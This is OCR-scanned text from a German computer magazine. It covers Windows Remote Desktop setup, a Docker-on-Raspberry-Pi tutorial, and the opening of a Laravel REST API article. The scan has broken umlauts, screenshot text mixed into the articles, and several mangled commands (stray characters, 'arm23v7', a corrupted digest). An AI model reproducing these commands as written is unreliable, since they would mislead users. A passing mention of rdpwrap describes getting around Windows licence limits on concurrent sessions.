Einstellungen-App ist mal wieder unge-
eignet. Links im Meniibaum unter ,,Sys-
tem/Lokale Benutzer und Gruppen/Grup-
pen® finden Sie die lokalen Gruppen und
konnen mit einem Doppelklick Mitglieder
hinzufiigen.

Starten Sie nun auf dem zweiten PC
im lokalen Netz den Remotedesktop-
Client (mstsc.exe). Die Programme und

% Remotedesktopverbindung = X

*' Remotedesktop
"¢ Verbindung

Allgemein  Anzsige Lokale Ressourcen Leistung  Erweitert

Anmeldeeinstellungen
W “ Geben Sie den Namen des Remotecomputers ein.
- —

Computer: 192168 73169 ~

Benutzemame:  cttest

Zum Herstellen einer Verbindung mit dem
Teminaldienstegateway-Server werden gespeicherte
Anmeldeinformationen verwendet. Sie kannen diese
Anmeldeinformationen bearbeiten oder [Gschen

[ immer Anmeldeinformationen anfordem

Verbindungseinstellungen

Spemhem Sie die aktuellen Einstellungen in einer RDP-Datei,

| oder offnen Sie sine gespeicherte Verbindung.
Offnen...

Speichem Speichem unter...

A Optionien ausblenden Verbinden Hilfe

Im Remotedesktop-Client (mstsc.exe)
gibt man die IP-Adresse oder den
Computernamen an und startet die
Verbindung.
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Apps fiir andere Betriebssysteme funktio-
nieren sehr dhnlich, und die Schalter und
Eingabefelder heiflen dhnlich. Im Feld
»Computer® geben Sie die IP-Adresse
oder den in der Systemsteuerung verge-
benen ,Computernamen des anderen
Computers an. Das Kennwort konnen Sie
speichern lassen oder bei jedem Verbin-
dungsaufbau eintippen. Nach einem Klick
auf ,Verbinden“ erscheint eine Zertifikats-
Fehlermeldung - die Gegenstelle weist
sich mit einem selbstausgestellten Zerti-
fikat aus, das auf dem Client nicht als ver-
trauenswiirdig bekannt ist.

Flir den Heimgebrauch im lokalen
Netzwerk konnen Sie damit leben und die
Meldung wegklicken und auswihlen, dass
sie nicht wieder erscheinen soll. Adminis-
tratoren, die damit nicht leben mochten,
konnen auf der Gegenstelle die Zertifi-
katsverwaltung 6ffnen (certlm.msc), unter
»Remotedesktop/Zertifikate® das Zertifi-
kat exportieren und dem Client unter
»Vertrauenswiirdige Gerdte* hinzufiigen.

Anpassen

Fiir alle Nutzer lohnt ein Blick in die er-
weiterten Einstellungen des Remotedesk-
top-Clients (versteckt hinter ,,Optionen
einblenden®). Hier kann man zum Bei-
spiel Ton, lokale Drucker und die Zwi-
schenablage umleiten. Die Zwischenablage
funktioniert vollwertig, es lassen sich also

damit sogar Dateien und Ordner kopie-
ren. Unter ,,Lokale Ressourcen/Weitere"
versteckt sich ein Dialog, um lokale Lauf-
werke in der Remote-Sitzung verfiigbar zu
machen. Fiir Nutzer mit mehreren Bild-
schirmen kann es niitzlich sein, unter
»Anzeige® alle Monitore fiir die Sitzung zu
nutzen. Damit Sie all diese Einstellungen
nicht vor jeder Verbindung erneut zusam-
menklicken miissen, gibt es im Reiter
»Allgemein“ Schaltflichen zum Exportie-
ren. Mit ,,Speichern unter® erzeugen Sie
eine rdp-Datei, die Sie zum Beispiel auf
dem Desktop fiir den schnellen Zugriff ab-
legen konnen: Mit einem Doppelklick da-
rauf offnet sich die Sitzung. Sollten Sie
sich dafiir entschieden haben, Benutzer-
name und Kennwort zu speichern, landen
diese Informationen nicht in der Verbin-
dungsdatei, sondern im Speicher fiir An-
meldeinformationen von Windows. Ein
einmal dort abgespeichertes falsches
Kennwort kann spéter lastig werden. Den
Dialog zum Loschen finden Sie iiber den
Suchbegriff ,,Anmeldeinformationsver-
waltung® in der Windows-Suche.

Standardmaflig wirkt die Windows-
Taste in der Remote-Sitzung, wenn das
Fenster im Vollbild aktiv ist und Sie sehen
nicht das Startmenti des darunterliegen-
den PCs. Wenn Sie das nicht mochten,fin-
den Sie die Option zum Abschalten im
Reiter ,,Lokale Ressourcen®.

Grenzerfahrung

Soll mehr als ein Nutzer gleichzeitig auf
eine Windows-Maschine zugreifen, kommt
ein Desktop-Windows an seine Grenzen.
Gleichzeitige Sitzungen unterstiitzt nur
Windows Server mit der Rolle ,,Remote
Desktop Services“ und einer entsprechen-
den Lizenzierung. Diese Grenze ist von Mi-
crosoft aber kiinstlich eingezogen und
nicht technisch begriindet. Das beweisen
Projekte wie ,,rdpwrap‘, das bei GitHub als
Open-Source-Software entwickelt wird (zu
finden tiber ct.de/yc3h). Das Programm
fithrt die Systemdatei ,,termsrv.dll“ mehr-
fach mit unterschiedlichen Parametern aus
und erlaubt so bis zu 15 gleichzeitige Sit-
zungen mit Windows 10. Dieser Trick ver-
stofdt bei produktivem Einsatz gegen die Li-
zenzbestimmungen von Microsoft - mit
Support darf man nicht rechnen, wenn
man ihn aus Neugier in einer Testumge-
bung ausprobiert. (jam@ct.de) €€
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Dockerchen

Docker auf dem Raspberry Pi

Die Container-Software Docker
unterstiitzt nicht nur x86-Systeme,
sondern auch den Raspi.
Inzwischen gibt es eine stattliche
Anzahl von Containern fiir den
kleinen Rechner, mit denen man
ihn zum Familien-Wiki oder zur
Smart-Home-Zentrale machen
kann. Wir geben Tipps zum
Umgang und zeigen dariiber
hinaus, wie man eigene Multi-
Architektur-lmages fiir PC und
Raspi baut.

Von Merlin Schumacher
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ntwickler und Unternehmen schitzen

Software-Container schon seit Lan-
gem. Mit ihnen kann man im Handumdre-
hen Wordpress, MediaWiki, Node-Red
und andere Dienste einrichten und konfi-
gurieren. War Docker anfangs nur fiir x86-
Prozessoren verfiigbar, lauft es nun auf
zahlreichen Architekturen, darunter auch
ARM-CPUs des Einplatinenrechners Rasp-
berry Pi. So kann man Dienste, die man
noch argwohnisch bedugt, problemlos und
gut weggesperrt als Container auf den
Raspi befordern. Oder man lasst unter-
schiedliche Versionen von Laufzeitumge-
bungen wie Node]S nebeneinander laufen,
ohne dass sie sich ins Gehege kommen.

Sollten Sie bereits mit Docker vertraut
sein und sich nur fiir die Spezifika von Do-
cker auf ARM-Architekturen interessie-
ren, konnen Sie die nachsten Abschnitte
liberspringen und bei ,,Image-Suche® wei-
terlesen.

Um den gesamten Artikel inklusive
Erstellung von Containern, die sowohl fiir
Raspi und PC geeignet sind, nachzuvoll-
ziehen, brauchen Sie einen Raspberry Pi 2
oder neuer und einen PC mit einer funk-
tionierenden Docker-Installation. Falls Sie
noch keine Docker-Installation haben und
Debian, Ubuntu, Fedora oder CentOS ein-
setzen, konnen Sie die im Artikel fiir den
Raspberry Pi empfohlenen Installations-
schritte auch auf dem PC durchfiihren.
Eine Ausnahme ist Ubuntu 18.10 - dort
laufen nur die Docker-Versionen aus den
Paketquellen (sudo apt install docker.io).
Sie sind fiir den Testeinsatz aktuell genug.
Fiir macOS und Windows finden Sie auf
der Docker-Homepage Anleitungen zur
Installation. Den Link dazu und alle
weiteren zum Artikel finden Sie tber

ct.de/yxpp.

Container-Crashkurs

Auch wenn es vielleicht auf den ersten
Blick so erscheint: Container sind keine
virtuellen Maschinen, sondern laufen als
Prozesse wie ganz normale Software auf
dem System, werden aber durch spezielle
Kernel-Techniken von anderen Prozessen
getrennt. Dadurch hat man praktisch
keine Performance-Einbufien, aber den-
noch voneinander sauber getrennte
Dienste. In den Containern lduft typi-
scherweise nur ein einziger Prozess. Wird
dieser beendet, verschwindet damit auch
der Container.

Basis der Container sind sogenannte
Images, die alle Dateien enthalten, die der
Container zum Betrieb bendtigt. Diese
Images kann die Software im Container
nicht verdndern. Dateien, die einen Neu-
start des Containers tiberleben sollen, be-
wahrt man in separaten ,Volumes" auf. So
ist Reproduzierbarkeit sichergestellt: Das
Docker-Image sieht aufjedem Host gleich
aus und es herrschen immer die gleichen
Voraussetzungen. Die Inhalte eines Image
beschreibt ein Dockerfile [1]. Es definiert
alle Schritte, die beim Bau vollzogen wer-
den. Zunachst wird darin ein Basis-Image
festgelegt, das dann um Dateien oder
Funktionen erweitert wird. Anhand des
Dockerfile kann man nachvollziehen,
welche Daten sich im fertigen Image be-
finden.
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Die Docker-Images lagern in einer so-
genannten Registry, also einem Image-
Verzeichnis. Ab Werk ist das der Docker
Hub (hub.docker.com). Dort finden sich
zahllose Images, die von verschiedensten
Entwicklern gepflegt werden. Wie bei
jeder Software gibt es auch in Containern
Sicherheitsprobleme, daher muss man
schauen, ob das gewihlte Image noch ak-
tualisiert wird und wer es pflegt [2]. Eine
Besonderheit stellen die offiziellen Images
aus der sogenannten Docker-Library dar.
Sie versorgt ein vom Unternehmen Do-
cker Inc. bezahltes Team regelmaflig mit
Updates. Gute und schlechte Images aus-
einanderzuhalten erfordert ein bisschen
Augenmaf3.

Tiefer in die Hintergriinde und Tech-
niken fiir Container steigen die Artikel
»Wo Container punkten® [3] und ,Warum
Docker rockt” [4] ein.

Einrichtung

Will man seinen Raspi nicht nur fiir Do-
cker einsetzen, empfiehlt sich die Raspi-
Standarddistribution Raspbian. Schrei-
ben Sie das Image wie gewohnt auf eine
SD-Karte und starten Sie den Raspi mit
ihr. Bedenken Sie jedoch: Je grofler die
SD-Karte, desto besser - sofern Sie keinen
externen Speicher wie einen USB-Stick
oder eine Festplatte zum Speichern der
Docker-Images und deren Daten verwen-
den. Acht Gigabyte sollte man nicht un-
terschreiten, um nicht sofort um Platz
kidmpfen zu missen.

Fiir das Einrichten von Docker auf
dem Raspi empfehlen die Docker-
Entwickler das Installationsskript get-
docker.sh.

Laden Sie es auf der Konsole wie folgt
herunter:

curl -fsSL https://get.docker.com -o03
b get-docker.sh

Docker auf dem Raspi | Praxis

61a758ce94d2: Pull complete

Hello from Docker!

(arm32v7)

to your terminal.

$ docker run -it ubuntu bash

https://hub.docker.com/

I % docker run hello-world
Unable to find image 'hellc-world:latest' locally
latest: Pulling from library/hello-world

Digest: sha256:@add3ace9Recbéadbf7777eQaacf18357296e799f81cabcifdesd 709712499788
Status: Downloaded newer image for hello-world:latest

This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

1. The Docker client contacted the Docker daemon.

2. The Docker daemon pulled the "hello-world"™ image from the Docker Hub.

3. The Docker daemon created a new container from that image which runs the

executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it

To try something more ambitious, you can run an Ubuntu container with:
Share images, automate workflows, and more with a free Docker ID:

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Hallo Welt! Der erste Container ist schnell gestartet und gibt ein paar
Basisinformationen zur Arbeitsweise von Docker aus.

Die Parameter -fsS1 verstecken einige
iiberfliissige Statusausgaben und -o gibt
die Zieldatei an. Der Download sollte in
Sekundenbruchteilen erledigt sein. Kon-
trollieren Sie anschliefdend den Inhalt mit
einem Dateibetrachter wie less, um si-
cherzugehen, dass Thnen keiner ein fal-
sches Skript untergeschoben hat und
auch, um zu priifen, ob der Download
wirklich erfolgreich war. Zur Kontrolle fin-
den Sie eine weitere Kopie des Skripts im
zugehorigen GitHub-Repository, das Sie
iiber die Links zum Artikel erreichen. Ist
alles in Ordnung, fiihren Sie das Skript mit
Root-Rechten aus:

sudo sh get-docker.sh

Das Skript richtet das Docker-Paket-
Repository und die notwendigen Pakete
(allen voran docker-ce) fiir Raspbian auto-
matisch ein. AufSerdem wird der Docker-
Daemon in Zukunft automatisch beim

Docker-Distros fiir den Raspi

Wie beim Raspi Ublich, haben sich
schnell spezialisierte Distributionen fir
Docker entwickelt. Um den Raspi bem-
hen sich: Hypriot, resinOS und Ran-
cher OS. Hypriot basiert auf Raspbian
und bringt die notwendigen Docker-
Werkzeuge gleich mit, Updates und Op-
timierungen gibt es aber relativ selten.
Die weitere Konkurrenz hat einige Nach-

c't 2019, Heft 2

teile. So muss man resinOS mit einem
speziellen Konfigurationswerkzeug an-
passen. Die Zukunft von Rancher OS ist
ungewiss, denn seit Version 2.0 setzt
das darauf aufsetzende Container-Ver-
waltungstool Rancher auf die Container-
Orchestrierung Kubernetes, und Ran-
cher OS wurde noch nicht entspre-
chend angepasst.

Systemstart geladen. Raspbian selbst lie-
fert nur eine hoffnungslos veraltete Fas-
sung von Docker im Paket docker.io mit.
Damit der Raspbian-Standardbenutzer pi
mit dem Docker-Daemon interagieren
kann, muss man ihn zum Mitglied in der
Gruppe docker machen:

sudo usermod -aG docker pi

Damit die Gruppenédnderung wirkt, mis-
sen Sie sich einmal ab- und wieder an-
melden. Anschliefdend konnen Sie mit-
tels docker ps iiberpriifen, ob die Einrich-
tung geklappt hat. Da noch keinerlei
Container laufen, sollten Sie eine leere
Tabelle erhalten. Um den ersten Contai-
ner zu starten, flihren Sie docker run
hello-world aus. Darauthin lddt der Do-
cker-Daemon das Image hello-world aus
dem Repository herunter und erzeugt da-
raus einen Container. Der gibt nur ein
paar Informationen aus und wird dann
beendet.

Bauarbeiten

Fiir das weitere Verstandnis ist es niitzlich,
den Bau eines Container-Image und sei-
nen Start nachzuvollziehen. Als erstes Bei-
spiel bauen Sie einen einfachen Contai-
ner, der mittels des Programms Screen-
fetch ein paar Systeminformationen aus-
gibt. Um Ihr erstes eigenes Docker-Image
zu bauen, erzeugen Sie einen neuen Ord-
ner namens docker-test in Threm Home-
Verzeichnis und erstellen Sie darin eine
Datei namens Dockerfile, die Sie wie folgt
befiillen:
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FROM ubuntu

RUN apt-get update

RUN apt-get upgrade

RUN apt-get install screenfetch
ENTRYPOINT ["/usr/bin/screenfetch"]

Das Dockerfile ist simpel aufgebaut: Auf
Grundlage des offiziellen Ubuntu-Basis-
Images (FROM ubuntu) wird ein neues
Image erzeugt. Zeilen, die mit RUN begin-
nen, fiihren den nachfolgenden Befehl
beim Bauen des Images aus. Hier werden
die Paketlisten und alle installierten Pro-
gramme aktualisiert. Anschlieflend wird
noch Screenfetch installiert. Der ENTRY-
POINT legt den Befehl fest, den der Contai-
ner beim Start ausfiihrt. Wie eben schon
erwahnt, existiert der Container nur, so
lange Screenfetch lauft.

Nun konnen Sie das Docker-Image
erzeugen. Geben Sie dafiir folgenden Be-
fehl ein:

docker build . --tag myimage:test

Vergessen Sie nicht den Punkt in der
Mitte, damit Docker das Dockerfile im ak-
tuellen Verzeichnis verwendet und um-
setzt. Der Parameter --tag legt den
Namen des Image fest, damit Sie es leich-
ter identifizieren und aktualisieren kon-
nen. Enden die letzten Zeilen der Ausgabe
wie folgt, war der Bau erfolgreich.

Successfully built 60d9a33b54f6
Successfully tagged myimage:test

In einem
Container kann
Ubuntu laufen,

yyyyy-
ATy

oL -

auch wenn der
Host Raspbian

verwendet. S

IHdff+:

\+/+o+++
o0+

Wobei die Zeichenfolge in der ersten Zeile
am Ende variiert, denn sie ist die eindeu-
tige Image-ID und verdndert sich mit
jedem Bauvorgang, daher auch die expli-
zite Benennung des Images per --tag. Jetzt
konnen Sie den Container ausfiihren:

docker run myimage:test

Nun sollte Screenfetch ein paar Informa-
tionen iiber das laufende System ausge-
ben und zeigen, dass es Ubuntu als Be-
triebssystem verwendet, da Ubuntu als
Basis-Image flir den Container dient. Von
Raspbian bekommt die Software im Con-
tainer nichts mit. Informationen wie Up-
time oder RAM sind jedoch universell und
auch innerhalb eines laufenden Contai-
ners mit denen des Hostsystems iden-
tisch.

Leider spuckt Screenfetch noch eine
Fehlermeldung aus, weil das Programm

Raspi, ARM und Architekturen

Mit dem Wechsel der CPUs im Lauf der
Jahre hat sich auch die Mikroarchitektur
des Raspis gedndert. Aus ARMv6 wurde
ARMv7. Ab dem Raspberry Pi 2 V1.2 be-
herrschen die CPUs auch das 64-bittige
ARMvS, der Kernel von Raspbian spiegelt
das jedoch nicht wieder. Er lduft je nach
Modell entweder mit ARMv6 oder ARMv7.
Eine Auflistung, welche Modelle welche
Mikroarchitektur unterstiitzen, finden Sie
in der Tabelle ,Raspi-Mikroarchitekturen”.
Mit Images fir ARMv7 oder ARMv6 macht
man in der Regel nichts falsch, denn die
ARM-CPUs sind immer abwartskompati-
bel. Ohnehin macht Docker auf einem
Raspberry Pi der ersten Generation oder
Pi Zero (W) die lediglich ARMv6 beherr-
schen wegen der geringen Geschwindig-
keit keinen Spal3. Die ARMv8-Architektur
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unterstlitzt fast keine Raspi-Distribution
und die Vorteile der 64-Bit-Architektur
sind ohnehin zu vernachlassigen. Wer an-
dere Plattformen mit ARM-CPUs einsetzt,
bekommt vielleicht eine 64-Bit-Distro und
kann dementsprechende Images nutzen.

Docker Inc. hat die regelmaBig ge-
pflegten Images aus der Library fir zahl-
reiche Prozessortypen portiert, darunter
auch einige ARM-Varianten. Offiziell un-
terstlitzt werden aber nur die Architektu-
ren arm32v7, arm32v8, amd64 und windows-
amd64. Alle weiteren bietet Docker quasi
nur aus ,Hoflichkeit” an. In den Beschrei-
bungen der offiziellen Images auf dem
Hub kann man sehen, welche Architektu-
ren das jeweilige Image untersttitzt. Klickt
man auf die Architektur, landet man auf
der Seite des spezifischen Images. Fir

S - f -
E R T e e

“+sss500+/
/sssooo.

fii==z.

ps mit der Container-Umgebung Proble-
me hat. Sie konnen die Meldung unterdrii-
cken, indem Sie beim Start des Containers
noch den Parameter -E an Screenfetch
iibergeben:

docker run myimage:test -E

Damit haben Sie das Handwerkszeug fiir
den grundlegenden produktiven Einsatz
von Docker auf dem Raspberry Pi.

Image-Suche

Bei der Suche nach Images fiir den Raspi
muss man etwas Geduld aufbringen: Do-
cker konnte zu Anfang keine Container
flir andere Prozessorarchitekturen als
AMD64 (auch x86-64 genannt) bauen
oder ausfithren. Inzwischen ist das Pro-
blem gelost, dennoch gibt es ein paar
Dinge, auf die machen achten muss, um
die Arbeit auf anderen Architekturen zu

die unterschiedlichen Architekturen hat
Docker Inc. eigene Repositories angelegt.
So findet sich unter arm32v7/hello-world
die ARMv7-Variante des hello-world-
Image.

Raspi-
Mikroarchitekturen

[ R T
Raspberry Pi BCM2835 ARMvG
Raspberry Pi Compute Module  BCM2835 ARMv6
Raspberry Pi B+ BCM2835 ARMvG
Raspberry Pi 2V1.1 BCM2836 ARMvT
Raspberry Pi 2V1.2 BCM2837 ARMV8
Raspberry Pi 3 BCM2837 ARMV8
Raspberry Pi 3+ BCM2837B0 ARMV8
Raspberry Pi Zero (W) BCM2835 ARMv6
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"schemaVersion": 2,

"mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",

"manifests": [

{

"mediaType": "application/vnd.docker.distribution.manifest.v2+json"
"size": 1784,
"digest": "sha256:b1033d485fe98081289d...22a782399",
"platform": {
"architecture": "amd64",
"os": "linux"
}
3
{
"mediaType": "application/vnd.docker.distribution.manifest.v2+json"
"size": 1784,
"digest": "sha256:64086497e0db9facd@cO. ..8f4b796fe",
"platform": {
"architecture": "arm",
"os": "linux",
"variant": "v7"

Ein Image-Manifest beschreibt, welche Varianten eines Images zur Verfligung
stehen. In diesem Fall gibt es das Image fiir ARM- und AMD64-Prozessoren.

erleichtern. Das soeben gebaute Image fiir
den Raspi wiirde auf einem x86-PC nicht
funktionieren, weil die Prozessorarchitek-
tur nicht kompatibel ist. Das gilt auch bei
Images, die im Docker Hub hochgeladen
werden. Daher muss man nach passenden
Images suchen.

Docker-Hub-Nutzer stellen Images
teils unter eigenen Benutzer-Accounts, Re-
positories oder Tags bereit. Manche Ent-
wickler pflegen spezifische Repositories fiir
den Raspi, etwa als merlinschumacher/mein-
projekt-raspi. Haufiger trifft man ,Tags®
an, die man dem Namen des Images hin-
ten anstellt, zum Beispiel in Form vonmer-
linschumacher/meinprojekt:raspi. Die Tags
dienen dazu, bestimmte Versionen oder
Varianten von Images auszuwiahlen. Lasst
man das Tag weg, bezieht Docker immer
das mit latest getaggte Image, also das zu-
letzt veroffentlichte.

Da man die Tags und Image-Namen
frei vergeben kann, gibt es zahlreiche
Schlagworter wie etwa arm, arm32vs,
arm32v6, arm32v7, armhf, armel, rpi oder
raspi, die auf Raspi-Kompatibilitat hin-
deuten. Tags wie arm32v7 entstammen der
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Bezeichnung der Mikroarchitektur der
Raspi-CPUs (Details dazu im Kasten
»Raspi, ARM und Architekturen®).

Doppeltes Image

Gliicklicherweise muss man nicht immer
das passende Tag fiir die benotigte Archi-
tekturvariante des Image angeben, denn
Docker kann die passende Version selbst
beziehen. Gibt man nur docker run hello-
world ein, ladt Docker automatisch das zum
System passende Image runter, egal ob bei-
spielsweise amd64 oder arm32v7. Dabei wird
im Hintergrund ein Trick angewandt: Der
Docker-Daemon priift, welche Architektur
das System hat und schaut in einem soge-
nannten ,,Image-Manifest", welche kom-
patiblen Images in der Registry angeboten
werden. Das Manifest beschreibt die Ei-
genschaften des Images und kann auch auf
Alternativen verweisen. Hauptziel der ak-
tuellen Version 2 des Image-Manifests war
es, Multi-Architektur-Images zu ermog-
lichen. Durch das Manifest kann ein
Image-Name auf unterschiedliche Images
verweisen und aus ubuntu wird entweder
amd64/ubuntu oder arm23v7/ubuntu. So kann

man aus dem gleichen Dockerfile Images
fiir verschiedene Systeme generieren.

Um ein eigenes Multi-Architektur-
Image auf dem Docker Hub bereitzustel-
len, miissen Sie sich dort zunéchst einen
Account erstellen und sich anschliefdend
auf der Kommandozeile mittels docker
login einloggen. Der Befehl fragt dann
den auf der Website vergebenen Benut-
zernamen und das zugehorige Passwort
ab. So hat Ihr lokaler Daemon Zugriff auf
Ihre Repositories auf dem Hub, um
Images hoch- und herunterzuladen. An-
schlieflend klicken Sie auf der Startseite
auf ,,Create Repository“, um ein neues
Container-Repository zu erzeugen. Verge-
ben Sie dort den Namen publicimage. Die
Beschreibung unter ,,Description” konnen
Sie leer lassen. Bei ,,Visibility“ konnen Sie
sich zwischen einem o6ffentlichen (,,Pu-
blic“) und privatem (,,Private“) Repository
entscheiden. Ein privates Repository ist
umsonst. Fir erste Gehversuche sollte
man das private wihlen, damit ladt sie
kein Fremder unbedarft herunter.

Auf dem Raspi wechseln Sie nun wie-
der in das Verzeichnis mit Threm Docker-
file. Dort fithren Sie folgende Befehle aus:

docker tag myimage:test j
SMEINBENUTZERNAME/ ;
bpublicimage:arm32v7

docker push MEINBENUTZERNAME/;
bpublicimage:arm32v7

Mit docker tag gleichen Sie den Namen
des lokalen Image myimage an den des 6f-
fentlichen publicimage an. Der nachfol-
gende Tag test wird zum passenderen
arm32v7. Anschliefdend lddt Docker das
Image zum Hub hoch, sodass es von dort
jederzeit bezogen werden kann.

An Threm PC fiihren Sie jetzt fast die
gleichen Befehle aus, ersetzen jedoch das
arm32v7 durch amd64:

docker tag myimage:test ;
SMEINBENUTZERNAME/;
bpublicimage:amd64

docker push MEINBENUTZERNAME/;
bpublicimage:amd64

Rufen Sie nun das Repository im Docker
Hub auf. Im Abschnitt ,,Tags“ werden Sie
die Tags arm32v7 und amd64 sehen. Sie (und
bei 6ffentlichen Repositories auch andere
Docker-Hub-Nutzer) kdnnen nun mittels
docker pull MEINBENUTZERNAME/public-
image:amd64 oder ..:arm32v7 das jeweilige
Image beziehen. Es fehlt noch der Tag
latest. Dieser muss aber nicht mit einem
Image befiillt sein, sondern kann auf ein
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Image-Manifest zeigen, das Docker auf
die architekturspezifischen Images ver-
weist.

Die Manifest-Funktion von Docker
gilt noch als experimentell. Daher muss
man sie manuell freischalten. Bearbeiten
Sie dafiir die Datei config.json im Konfi-
gurationsordner von Docker. Unter Linux
und macOS ist das ~/.docker/. Ergidnzen
Sie dort die mit "experimental" beginnende
Zeile wie im folgenden Beispiel gezeigt:

{
"experimental": "enabled",
"auths": {
"https://index.docker.io/vl/": {}

}

Unter Windows konnen Sie die Einstel-
lung per GUI vornehmen, indem Sie einen
Rechtsklick auf den kleinen Wal im Info-
bereich ausfithren und dort ,,Einstellun-
gen“ wihlen. Im Einstellungsdialog wech-
seln Sie zum Reiter ,,Daemon" und setzen
den Haken bei ,,Experimental features".

AnschliefSend konnen Sie mit docker
manifest arbeiten. Damit der Tag latest
auf ein Manifest anstelle eines Images
zeigt, das wiederum auf die Image-Tags
arm32v7 und amdé4 verweist, miissen Sie
das erstmal mit docker manifest create
erstellen:

docker manifest create 3
SMEINBENUTZERNAME/publicimage: ;
blatest MEINBENUTZERNAME/;
bpublicimage:arm32v7 ;
SMEINBENUTZERNAME/publicimage:amd64

docker manifest push MEINBENUTZERNAME;
b/publicimage:latest

Dabei wird der zuerst angegebene Tag
MEINBENUTZERNAME/latest mit den nachfol-
genden Tags verkniipft. Der Docker-Dae-
mon sucht sich dann in Zukunft anhand
des Manifests beim Download die Ver-
sion, die am besten zu seiner Architektur
passt. Anschliefdend schickt docker mani-
fest push das frische Manifest zum Hub.

Wenn Sie nun noch einmal die Web-
site des Repositories besuchen, werden

Sie dort den neuen Tag latest finden.
Uberfahren Sie den kleinen Tux anschlie-
3end mit der Maus, zeigt Thnen das Pop-
up an, dass das latest fiir Linux-Betriebs-
systeme gedacht ist und fiir arm und amd64
zur Verfligung steht. Docker tut sein bes-
tes, um die Architektur eines Image zu
identifizieren. Das klappt bei ARM nur
eingeschrinkt, sodass man nochmal
Hand anlegen muss. Um die genaue
ARM-Architekturvariante v7 zu spezifizie-
ren, greift man zu docker manifest anno-
tate. Annotate legt die Manifestdetails fiir
die Images fest. Um im Manifest die kor-
rekte ARM-Variante zu hinterlegen und
die Anderung zu publizieren, dient folgen-
der Befehl:

docker manifest annotate 3
GMEINBENUTZERNAME/publicimage: ;
blatest MEINBENUTZERNAME/;
bpublicimage:arm32v7 --os linux 3
b--arch arm --variant v7

docker manifest push MEINBENUTZERNAME;
b/publicimage:latest

Sie konnen auch einen Blick in das Mani-
fest eines Images werfen:

docker manifest inspect ;
SMEINBENUTZERNAME/publicimage

Die Ausgabe sollte der im Listing auf Seite
152 dhneln. Sie konnen damit auch die
Manifeste fremder Container einsehen,
etwa das von hello-world. Der ist ein gutes
Beispiel fiir einen aufwendigen Multi-Ar-
chitektur-Container.

Wenn Sie nun den Container mit
docker run MEINBENUTZERNAME/publicimage
auf einem beliebigen PC oder Raspi aus-
flihren, bekommen Sie automatisch die
korrekte Image-Variante geliefert.

Weitermachen

Zwei niitzliche Begleiter fiir weitergehen-
de Docker-Experimente sind Git und Do-
cker-Compose. Das Versionskontrollsys-
tem Git taucht im Zusammenhang mit
Docker haufig auf, weil die meisten Ent-
wickler ihre Docker-Projekte auf GitHub
[5] veroffentlichen. Installieren Sie es
mittels sudo apt install git. Ebenfalls

Im Docker Hub
kann man
schauen, fiir
welche Architek-
turen ein Image
verfligbar ist.

* Maintained by:

* Where to file issues:
https://github.com/docker-library/hello-world/issues

the Docker Community

* Supported architectures: (more info)
amdé4 , arm32v5, arm32v7, arm64v8 , i386, ppcbdle , s39@x,

windows-amd64
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Mit einem sogenannten Manifest kann
ein Image-Tag auf verschiedene
Varianten verweisen.

fast unverzichtbar fiir den Einsatz von
Docker ist Docker-compose [6]. Das Py-
thon-Skript hilft, Dienste mehrerer Con-
tainer zu einer Anwendung zu verkntip-
fen und ermoglicht es so, schnell kom-
plexe Infrastrukturen zu stricken. Es fin-
det hier im Artikel keine Verwendung,
eine Installation ist dennoch ratsam,
denn wenn man etwa ein Content-Ma-
nagement-System, die zugehorige Da-
tenbank und einen Webserver mit einem
Schritt erzeugen will, ist Docker-com-
pose das Werkzeug der Wahl. Auch hier
liefert Raspbian nur ein Uralt-Paket. Man
installiert Docker-compose deshalb bes-
ser direkt systemweit iber den Python-
Paketmanager Pip:

sudo pip3 install docker-compose

Wenn man Ofter Images bauen muss,
lohnt es sich, den Vorgang in der Cloud zu
automatisieren. Im Fall der Multi-Archi-
tektur-Images muss man dazu noch ein
paar Klimmziige machen. Das wiirde aber
den Rahmen dieses Artikels sprengen.
(mls@ct.de) ¢
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Praxis | REST-API entwickeln

RESTregal

REST-API mit dem PHP-Framework Laravel entwickeln

Um ein API zu entwickeln, das
Daten in einer Datenbank ablegt
und Endpunkte zum Lesen,
Anlegen, Bearbeiten und Loschen
bereitstellt, muss man das Rad
nicht neu erfinden. Mit dem PHP-
Framework Laravel entsteht ziigig
ein funktionsfahiges API. Setzt man
dabei auf Docker-Container, ist die
Arbeitsumgebung schnell
eingerichtet.

Von Manuel Ottlik

154 @mOO

er ein API (Application Program-

ming Interface) fiir eine Anwen-
dung gestaltet, sollte sich bei der Benen-
nung der Endpunkte an Standards halten,
die sich in den letzten Jahren durchgesetzt
haben. Entwickler haben sich vor allem an
das Paradigma REST gewohnt. Es stellt
iiber HTTP-Adressen Daten zu einem Ob-
jekt bereit und erlaubt, Objekte zu bear-
beiten. Das Paradigma sagt jedoch nicht,
woher diese Informationen kommen und
wie sie gespeichert werden: REST be-
stimmt zum Beispiel das Aussehen einer
Laderampe, an der man Informations-
péckchen abholen kann - welches Lager-

Bild: Jan Bintakies

system dahintersteckt, entscheidet der
Entwickler. Er konnte die Daten in Text-
dateien speichern, in einer SQL- oder
NoSQL-Datenbank ablegen. An den
REST-Endpunkten dndert das nichts. Wie
genau eine REST-Laderampe funktioniert
und auszusehen hat, haben wir bereits be-
schrieben [1]. In diesem Artikel soll es um
die Umsetzung eines Datenlagers mit dem
PHP-Framework Laravel gehen. Kennt-
nisse in der objektorientierten Program-
mierung sind hilfreich. Als Beispiel ent-
steht eine Raumverwaltung fiir Gebdude.
Das gesamte Projekt und alle weiterfiih-
renden Links finden Sie tiber ct.de/y3hx.
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Fundament gieBen

Die Entwicklung findet in einer Docker-
Umgebung statt. In einem Container soll
ein Webserver mit PHP laufen, ein ande-
rer Container stellt die SQL-Datenbank
bereit und ein weiterer dient als Arbeits-
umgebung fiir den Entwickler. Einen aus-
flihrlichen Einstieg in Docker haben wir
bereits veroffentlicht [2]. Fiir Software-
Entwickler bietet Docker viele Vorteile:
Auf der Entwicklungsmaschine kénnen
Sie die gleichen Bedingungen schaffen,
die spiter auf dem Server herrschen - der
Container enthélt alle Abhdngigkeiten.
Fir die Arbeit mit Laravel miissen Sie
nicht bei null beginnen und eigene Do-
ckerfiles schreiben. Stattdessen konnen
Sie die vorbereitete Umgebung Laradock
einsetzen (siehe ct.de/y3hx). Sie bringt
viele Container mit, von denen Sie zu
Beginn nicht alle benotigen. Die Voraus-
setzungen auf der Entwicklermaschine
sind tiberschaubar: Sie miissen nur Do-
